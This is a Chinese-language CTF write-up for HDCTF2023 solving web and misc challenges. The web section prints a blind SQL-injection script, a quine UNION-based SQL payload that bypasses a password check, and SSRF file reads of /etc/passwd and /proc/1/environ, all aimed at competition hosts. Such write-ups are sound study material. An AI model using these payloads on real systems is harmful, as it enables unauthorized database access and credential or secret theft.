【HDCTF2023】wp
文章目录
- 【HDCTF2023】wp
- web
- Welcome To HDCTF 2023
- SearchMaster
- YamiYami
- LoginMaster
- misc
- hardMisc
- MasterMisc
- ExtremeMisc
- SuperMisc
web
Welcome To HDCTF 2023
在源码的 game.js
中找到了flag
在控制台输出 console.log(seeeeeeeecret)
得flag
SearchMaster
使用dirmap扫描目录,发现:composer.json
,访问一下:
{
"name": "smarty/smarty",
"type": "library",
"description": "Smarty - the compiling PHP template engine",
"keywords": [
"templating"
],
"homepage": "https://smarty-php.github.io/smarty/",
"license": "LGPL-3.0",
"authors": [
{
"name": "Monte Ohrt",
"email": "monte@ohrt.com"
},
{
"name": "Uwe Tews",
"email": "uwe.tews@googlemail.com"
},
{
"name": "Rodney Rehm",
"email": "rodney.rehm@medialize.de"
},
{
"name": "Simon Wisselink",
"homepage": "https://www.iwink.nl/"
}
],
"support": {
"issues": "https://github.com/smarty-php/smarty/issues",
"forum": "https://github.com/smarty-php/smarty/discussions"
},
"require": {
"php": "^7.1 || ^8.0"
},
"autoload": {
"classmap": [
"libs/"
]
},
"extra": {
"branch-alias": {
"dev-master": "4.0.x-dev"
}
},
"require-dev": {
"phpunit/phpunit": "^8.5 || ^7.5",
"smarty/smarty-lexer": "^3.1"
}
}
发现是 php smarty模板注入
提示我们需要使用post方式上传一个名为 data的变量:
测试一下确实有回显:
直接读flag:
YamiYami
进入题目:
当我们点击 Read somethings
时:
http://node2.anna.nssctf.cn:28523/read?url=https://baidu.com
我们发现可以读取到百度首页的内容,这是SSRF(突然忘记了)
python中我们可以使用 file伪协议
读取文件内容
我们尝试一下读取 /etc/passwd
成功读取
非预期解:(直接读取环境变量)
file:///proc/1/environ # 这里读的是pid为1的进程
如果读取当前进程的环境变量是读取不到的:
Linux-Proc目录的利用
预期解:
LoginMaster
robots.txt泄露
<?php
function checkSql($s)
{
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
sql注入题目,username必须为admin,此处我们需要从密码着手
但是注意看,过滤了 in
,意味着我们不能使用 information_schema
库查询表名,列名
我本来是想找一下除了information_schema
库,还有哪些库能用来查询的,找了这么几个:
mysql.innodb_table_stats
sys.schema_table_statistics
sys.schema_table_statistics_with_buffer
这几个都能用来查询表名,此处我们可以使用下面两个,我们我们写脚本去查询表名:
import requests
url = "http://node5.anna.nssctf.cn:28973"
flag = ""
s = "0123456789abcdefghijklmnopqrstuvwxyz-{}_.,"
for i in range(60):
for j in s:
# payload = "1'/**/or/**/if((mid((select/**/version()),{},1)/**/like/**/'{}'),1,0)#".format(i, j) # 10_2_32-mariadb
# payload = "1'/**/or/**/if((mid((select/**/database()),{},1)/**/like/**/'{}'),1,0)#".format(i, j) # ciscn
# payload = "1'/**/or/**/if((mid((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics),{},1)/**/like/**/'{}'),1,0)#".format(i, j)
payload = "1'/**/or/**/if((mid((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics/**/where/**/table_schema/**/like/**/'ciscn'),{},1)/**/like/**/'{}'),1,0)#".format(i, j)
data = {
'username': 'admin',
'password': payload
}
req = requests.post(url=url, data=data)
# print(payload)
# print(req.text)
if 'hacker' in req.text:
print(payload)
if 'something' in req.text:
print("someting")
if 'wrong password' in req.text:
flag += j
print(flag)
break
发现啥都查不出来。。
实际上此处为一张空表,我们需要使用另一种做法(quine)
重点的代码是这里:
if ($row['password'] === $password) {
die($FLAG);
}
我们除了让输入的密码与真正的密码一致外,还可以让输入的结果与输出的结果相同,同样可以实现获得flag
举个例子:
select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
输入和输出结果一致,从而可以绕过
这里需要知道一下原理:
从三道赛题再谈Quine trick
CTFHub_2021-第五空间智能安全大赛-Web-yet_another_mysql_injection(quine注入)
NSS日刷-[第五空间 2021]yet_another_mysql_injection-Qunie
看着有点烧脑,其实就是套娃
我们首先尝试一下:
select REPLACE('.',char(46),'.');
输出是一个小数点 .
我们尝试将 上一段代码中的小数点 . 替换为:
REPLACE(".",char(46),".") -- 这里使用双引号包裹,防止单双引号重叠
完整代码:
select REPLACE('REPLACE(".",char(46),".")',char(46),'REPLACE(".",char(46),".")');
乍一看好像是一样的,但是单双引号有点区别,我们需要再套REPLACE
替换一下
select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
是真的麻烦。。
基本上就是这种思路了
payload:
1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#
misc
hardMisc
010打开,base64解码
MasterMisc
打开发现有很多压缩包,
百度查了一下,这种是分卷压缩包
,我们可以在cmd中输入如下命令,合并为一个压缩包:
copy /B topic.zip.001+topic.zip.002+topic.zip.003+topic.zip.004+topic.zip.005+topic.zip.006 topic.zip
爆破一下找到压缩包密码,使用foremost
分离图片:
得到一个wav音频和一张绿色的图片,我们使用Audacity
看一下频谱图:
找到一部分flag
使用010修改绿色图片高度:
得到另一部分flag,
最后一部分在topic.png
中找到:
NSSCTF{e67d8104-7536-4433-bfff-96759901c405}
ExtremeMisc
一张 IDAT.png
首先使用 foremost分离一下,得到一个 Dic.zip
使用 Ziperello
工具说没有加密,还以为是伪加密。。坑人
其实这里的密码是字母(以前一般都是数字),使用Archpr
爆破得到密码:haida
打开Reverse.piz
:
很明显,这里每一个字节都需要反转一下,需要写个脚本:
f = open("C://Users/LIKE/Desktop/Reverse.piz", "rb")
data = f.read()
fzip = open("C://Users/LIKE/Desktop/fzip.zip", "wb")
s = b""
for i in data:
tmp = int(("%02x" % i)[::-1], 16)
s += bytes([tmp])
# print(tmp.to_bytes(1, 'little'))
fzip.write(s)
首先以二进制形式读取文件给data,然后遍历这些二进制字符串,
注意:int(("%02x" % i)[::-1], 16) 我们将二进制转化为16进制然后宽度为2,不够使用0填充,
然后反转一下,并使用int()函数转为10进制
然后将10进制数字转为字节bytes([])进行拼接,最后以二进制格式写入
写这种编码转化的脚本不是很会,需要多学一学
字节到大整数的打包与解包
然后再使用爆破zip,获得如下文件:
很明显,在Plain.zip
中存在内容已知的 secret.txt
文件,我们可以使用明文爆破,ARCHPR
或bkcrack
这里我们选择 bkcrack
速度快一点:
./bkcrack -C Plain.zip -c "secret.txt" -p secret.txt
爆出来3个key,用这些key去产生一个新的压缩包,密码自己设置:
bkcrack -C Plain.zip -c "secret.txt" -k ec437a15 db89e36d cd3e8e15 -U flag.zip 123
我们使用 -U 参数
生成了一个新的flag.zip压缩包,密码123:
使用密码打开 flag.txt
SuperMisc
打开文件夹,发现存在 .git
文件夹,说明使用了git,我们git log
查看一下日志:
发现存在提交记录,于是我们切换到第二次提交的时候:
git reset --hard e9286d88c95ab6411b323dca8f358abc3a7e204f
发现多了一个压缩包 Vigenere.zip
,但是不知道密码,于是我们使用010打开png图片:
发现很多 0、1的二进制数据,我们把它提取出来放到 data.txt
中:
我们猜测这可能需要使用这些0、1组成图片:
于是我们写个脚本将这些16进制的转化为普通的文本文件out.txt
:
f = open("C://Users/LIKE/Desktop/data.txt", "rb")
fw = open("C://Users/LIKE/Desktop/out.txt", "w")
s = ""
data = f.read()
for i in data:
ch = "%02x" % i
s += ch
fw.write(s)
然后使用python脚本将01转化为图片:
from PIL import Image
fr = open("C://Users/LIKE/Desktop/out.txt", "r")
data = fr.read()
img = Image.new("RGB", (1150, 1150))
# print(data)
i = 0
for x in range(1150):
for y in range(1150):
if data[i] == "1":
img.putpixel((x, y), (255, 255, 255))
elif data[i] == "0":
img.putpixel((x, y), (0, 0, 0))
i += 1
img.show()
img.save("flag.png")
扫描二维码:
11000#11111#10000#01111#11000#00011#11000#00011#00011#100#00011#01111#10000#00011#00011#00001#10000#00111#00011#00001#10000#00001#00011#11111#00011#11111#00111#100#00011#11000#00011#00001#10000#00001#10000#10000#00111#100#00011#00001#00011#00001#00011#11110#00011#00111#00111#100#10000#00111#00011#11111#00011#00001#00011#11110#00111#100#00011#00000#00011#11100#00011#00111#10000#00000#10000#00000#00011#11100#00011#00011#00011#11111#00011#11110#10000#00000#00011#10000#00011#00000
使用 0、1、# 3中字符组成,猜测这应该是莫斯密码:
然后将16进制转为字符串:
获得压缩包密码,解密获得 Vigenere
文件:
我们使用 file
命令查看一下是什么文件:
在010中打开得到字符串:
或者 strings
:
然后结合文件名,知道是维吉尼亚密码
,但是需要密钥
使用大佬脚本根据明文爆破密钥
获得密钥 IBFQW
: